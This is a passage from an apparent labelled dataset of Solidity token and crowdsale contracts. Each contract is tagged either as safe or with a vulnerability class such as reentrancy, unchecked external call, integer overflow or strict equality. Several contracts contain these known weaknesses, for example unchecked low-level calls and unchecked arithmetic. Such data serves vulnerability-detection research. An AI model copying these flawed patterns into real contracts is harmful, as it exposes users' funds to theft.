areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } /** * ICO crowdsale contract that is capped by amout of tokens. * * - Tokens are dynamically created during the crowdsale * * */ contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { /* Maximum amount of tokens this crowdsale can sell. */ uint public maximumSellableTokens; function MintedTokenCappedCrowdsaleExt( string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed ) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) { maximumSellableTokens = _maximumSellableTokens; } // Crowdsale maximumSellableTokens has been changed event MaximumSellableTokensChanged(uint newMaximumSellableTokens); /** * Called from invest() to confirm if the curret investment does not break our cap rule. */ function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) { return tokensSoldTotal > maximumSellableTokens; } function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) { assert(isWhiteListed); uint maxCap = earlyParticipantWhitelist[addr].maxCap; return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap; } function isCrowdsaleFull() public constant returns (bool) { return tokensSold >= maximumSellableTokens; } function setMaximumSellableTokens(uint tokens) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); maximumSellableTokens = tokens; MaximumSellableTokensChanged(maximumSellableTokens); } function updateRate(uint newOneTokenInWei) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); pricingStrategy.updateRate(newOneTokenInWei); } /** * Dynamically create tokens and assign them to the investor. */ function assignTokens(address receiver, uint tokenAmount) private { MintableTokenExt mintableToken = MintableTokenExt(token); mintableToken.mint(receiver, tokenAmount); } }",Safe,8,8 0x0550581783f8f11a8cf627ce87af36b4d92f3f33_HedgeConnect.sol,"pragma solidity ^0.4.12; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract HedgeConnect is BurnableToken, Ownable { string public constant name = ""HedgeConnect""; string public constant symbol = ""hed""; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 25000000 * (10 ** uint256(decimals)); // Constructors function HedgeConnect () public { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner } }",Safe,8,8 1273.sol,"pragma solidity ^0.4.24; // File: contracts/ERC223ReceivingContract.sol contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint256 _value, bytes _data) public; } // File: contracts/ERC20Interface.sol contract ERC20Interface { uint256 public totalSupply; function balanceOf(address _owner) public constant returns (uint256); function transfer(address _to, uint256 _value) public returns (bool ok); function transferFrom(address _from, address _to, uint256 _value) public returns (bool ok); function approve(address _spender, uint256 _value) public returns (bool ok); function allowance(address _owner, address _spender) public constant returns (uint256); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } // File: contracts/SafeMath.sol /** * Math operations with safety checks */ library SafeMath { function multiply(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function divide(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function subtract(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a && c >= b); return c; } } // File: contracts/StandardToken.sol contract StandardToken is ERC20Interface { using SafeMath for uint256; /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /** * * Fix for the ERC20 short address attack * * http://vessenes.com/the-erc20-short-address-attack-explained/ */ modifier onlyPayloadSize(uint256 size) { require(msg.data.length == size + 4); _; } function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool ok) { require(_to != address(0)); require(_value > 0); uint256 holderBalance = balances[msg.sender]; require(_value <= holderBalance); balances[msg.sender] = holderBalance.subtract(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool ok) { require(_to != address(0)); uint256 allowToTrans = allowed[_from][msg.sender]; uint256 balanceFrom = balances[_from]; require(_value <= balanceFrom); require(_value <= allowToTrans); balances[_from] = balanceFrom.subtract(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowToTrans.subtract(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Returns balance of the `_owner`. * * @param _owner The address whose balance will be returned. * @return balance Balance of the `_owner`. */ function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool ok) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 // if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; // require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256) { return allowed[_owner][_spender]; } /** * Atomic increment of approved spending * * Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * */ function increaseApproval(address _spender, uint256 _addedValue) onlyPayloadSize(2 * 32) public returns (bool ok) { uint256 oldValue = allowed[msg.sender][_spender]; allowed[msg.sender][_spender] = oldValue.add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * Atomic decrement of approved spending. * * Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ function decreaseApproval(address _spender, uint256 _subtractedValue) onlyPayloadSize(2 * 32) public returns (bool ok) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.subtract(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/BurnableToken.sol contract BurnableToken is StandardToken { /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _holder, uint256 _value) internal { require(_value <= balances[_holder]); balances[_holder] = balances[_holder].subtract(_value); totalSupply = totalSupply.subtract(_value); emit Burn(_holder, _value); emit Transfer(_holder, address(0), _value); } event Burn(address indexed _burner, uint256 _value); } // File: contracts/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; address public newOwner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); owner = newOwner; newOwner = address(0); emit OwnershipTransferred(owner, newOwner); } event OwnershipTransferred(address indexed _from, address indexed _to); } // File: contracts/ERC223Interface.sol contract ERC223Interface is ERC20Interface { function transfer(address _to, uint256 _value, bytes _data) public returns (bool ok); event Transfer(address indexed _from, address indexed _to, uint256 _value, bytes indexed _data); } // File: contracts/Standard223Token.sol contract Standard223Token is ERC223Interface, StandardToken { function transfer(address _to, uint256 _value, bytes _data) public returns (bool ok) { if (!super.transfer(_to, _value)) { revert(); } if (isContract(_to)) { contractFallback(msg.sender, _to, _value, _data); } emit Transfer(msg.sender, _to, _value, _data); return true; } function transfer(address _to, uint256 _value) public returns (bool ok) { return transfer(_to, _value, new bytes(0)); } function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool ok) { if (!super.transferFrom(_from, _to, _value)) { revert(); } if (isContract(_to)) { contractFallback(_from, _to, _value, _data); } emit Transfer(_from, _to, _value, _data); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool ok) { return transferFrom(_from, _to, _value, new bytes(0)); } function contractFallback(address _origin, address _to, uint256 _value, bytes _data) private { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(_origin, _value, _data); } function isContract(address _addr) private view returns (bool is_contract) { uint256 length; assembly { length := extcodesize(_addr) } return (length > 0); } } // File: contracts/ICOToken.sol // ---------------------------------------------------------------------------- // ICO Token contract // ---------------------------------------------------------------------------- contract ICOToken is BurnableToken, Ownable, Standard223Token { string public name; string public symbol; uint8 public decimals; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[owner] = totalSupply; emit Mint(owner, totalSupply); emit Transfer(address(0), owner, totalSupply); emit MintFinished(); } function () public payable { revert(); } event Mint(address indexed _to, uint256 _amount); event MintFinished(); } // File: contracts/PreICO.sol contract PreICO is Ownable, ERC223ReceivingContract { using SafeMath for uint256; struct DatePeriod { uint256 start; uint256 end; } struct Beneficiary { address wallet; uint256 transferred; uint256 toTransfer; } uint256 public price = 0.002 ether / 1e3; uint256 public minPurchase = 0.01 ether; // Tokens sold for ether uint256 public totalSold = 0; // Tokens for sale for ether uint256 public forSale = 350000e3; // 350,000.000 DatePeriod public salePeriod; ICOToken internal token; Beneficiary[] internal beneficiaries; constructor(ICOToken _token, uint256 _startTime, uint256 _endTime) public { token = _token; salePeriod.start = _startTime; salePeriod.end = _endTime; addBeneficiary(0x7ADCE5a8CDC22b65A07b29Fb9F90ebe16F450aB1, 200 ether); addBeneficiary(0xa406b97666Ea3D2093bDE9644794F8809B0F58Cc, 300 ether); addBeneficiary(0x3Be990A4031D6A6a9f44c686ccD8B194Bdeea790, 200 ether); } function () public isRunning payable { require(msg.value >= minPurchase); uint256 unsold = forSale.subtract(totalSold); uint256 paid = msg.value; uint256 purchased = paid.divide(price); if (purchased > unsold) { purchased = unsold; } uint256 toReturn = paid.subtract(purchased.multiply(price)); uint256 reward = purchased.multiply(30).divide(100); // 30% bonus reward if (toReturn > 0) { msg.sender.transfer(toReturn); } token.transfer(msg.sender, purchased.add(reward)); allocateFunds(); totalSold = totalSold.add(purchased); } modifier isRunning() { require(now >= salePeriod.start); require(now <= salePeriod.end); _; } modifier afterEnd() { require(now > salePeriod.end); _; } function burnUnsold() public onlyOwner afterEnd { uint256 unsold = token.balanceOf(address(this)); token.burn(unsold); } function changeStartTime(uint256 _startTime) public onlyOwner { salePeriod.start = _startTime; } function changeEndTime(uint256 _endTime) public onlyOwner { salePeriod.end = _endTime; } // Inside a tokenFallback function msg.sender is a token-contract. function tokenFallback(address _from, uint256 _value, bytes _data) public { // Accept only ours token if (msg.sender != address(token)) { revert(); } // Only contract owner can deposit tokens if (_from != owner) { revert(); } } function withdrawFunds(address wallet) public onlyOwner afterEnd { uint256 balance = address(this).balance; require(balance > 0); wallet.transfer(balance); } function allocateFunds() internal { uint256 balance = address(this).balance; uint length = beneficiaries.length; uint256 toTransfer = 0; for (uint i = 0; i < length; i++) { Beneficiary storage beneficiary = beneficiaries[i]; toTransfer = beneficiary.toTransfer.subtract(beneficiary.transferred); if (toTransfer > 0) { if (toTransfer > balance) { toTransfer = balance; } beneficiary.wallet.transfer(toTransfer); beneficiary.transferred = beneficiary.transferred.add(toTransfer); break; } } } function addBeneficiary(address _wallet, uint256 _toTransfer) internal { beneficiaries.push(Beneficiary({ wallet: _wallet, transferred: 0, toTransfer: _toTransfer })); } }",./Dataset/ether strict equality (SE),3,3 37055.sol,"pragma solidity ^0.4.16; contract RealOldFuckMaker { address fuck = 0xc63e7b1DEcE63A77eD7E4Aeef5efb3b05C81438D; // this can make OVER 9,000 OLD FUCKS // (just pass in 129) function makeOldFucks(uint32 number) { uint32 i; for (i = 0; i < number; i++) { fuck.call(bytes4(sha3(""giveBlockReward()""))); } } }",./Dataset/reentrancy (RE)/,5,5 33554.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract eRupee is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function eRupee( ) { balances[msg.sender] = 500000000000000.00; // Give the creator all initial tokens (100000 for example) totalSupply = 500000000000000.00 ; // Update total supply (100000 for example) name = ""eRupee""; // Set the name for display purposes decimals = 2; // Amount of decimals for display purposes symbol = ""e₹""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 0x02fcda86fffefc71d83180b436e5d7f78906345c_GaiBanngToken.sol,"pragma solidity ^0.4.24; contract GaiBanngToken { string public name = '丐帮令牌'; // token name string constant public symbol = ""GAI""; // token symbol uint256 constant public decimals = 8; // token digit uint256 public constant INITIAL_SUPPLY = 20170808 * (10 ** uint256(decimals)); mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; uint256 public totalSupply = 0; address public owner = 0x0; modifier isOwner { assert(owner == msg.sender); _; } function transferOwnership(address newOwner) public isOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } constructor() public { owner = msg.sender; totalSupply = INITIAL_SUPPLY; balanceOf[owner] = totalSupply; emit Transfer(0x0, owner, totalSupply); } function transfer(address _to, uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); require(allowance[_from][msg.sender] >= _value); balanceOf[_to] += _value; balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function setName(string _name) public isOwner { name = _name; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); }",Safe,8,8 655.sol,"pragma solidity ^0.4.10; contract SafeMath { function safeAdd(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x * y; assert((x == 0)||(z/x == y)); return z; } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token , SafeMath { bool public status = true; modifier on() { require(status == true); _; } function transfer(address _to, uint256 _value) on returns (bool success) { if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { balances[msg.sender] -= _value; balances[_to] = safeAdd(balances[_to],_value); Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] = safeAdd(balances[_to],_value); balances[_from] = safeSubtract(balances[_from],_value); allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) on constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) on returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract ExShellToken is StandardToken { string public name = ""ExShellToken""; uint8 public decimals = 8; string public symbol = ""ET""; bool private init =true; function turnon() controller { status = true; } function turnoff() controller { status = false; } function ExShellToken() { require(init==true); totalSupply = 2000000000; balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; init = false; } address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; modifier controller () { require(msg.sender == controller1||msg.sender == controller2); _; } }",./Dataset/integer overflow (OF)/,4,4 482.sol,"pragma solidity ^0.4.20; contract KVCMath { function kvcMul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function kvcDiv(uint256 a, uint256 b) internal returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function kvcSub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function kvcAdd(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract KVC is KVCMath{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public owner; mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Freeze(address indexed from, uint256 value); event Unfreeze(address indexed from, uint256 value); function KVC( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) { balanceOf[msg.sender] = initialSupply; totalSupply = initialSupply; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; owner = msg.sender; } function transfer(address _to, uint256 _value) { if (_to == 0x0) throw; if (_value <= 0) throw; if (balanceOf[msg.sender] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; balanceOf[msg.sender] = KVCMath.kvcSub(balanceOf[msg.sender], _value); balanceOf[_to] = KVCMath.kvcAdd(balanceOf[_to], _value); Transfer(msg.sender, _to, _value); } function approve(address _spender, uint256 _value) returns (bool success) { if (_value <= 0) throw; allowance[msg.sender][_spender] = _value; return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (_to == 0x0) throw; if (_value <= 0) throw; if (balanceOf[_from] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; if (_value > allowance[_from][msg.sender]) throw; balanceOf[_from] = KVCMath.kvcSub(balanceOf[_from], _value); balanceOf[_to] = KVCMath.kvcAdd(balanceOf[_to], _value); allowance[_from][msg.sender] = KVCMath.kvcSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function burn(uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) throw; if (_value <= 0) throw; balanceOf[msg.sender] = KVCMath.kvcSub(balanceOf[msg.sender], _value); totalSupply = 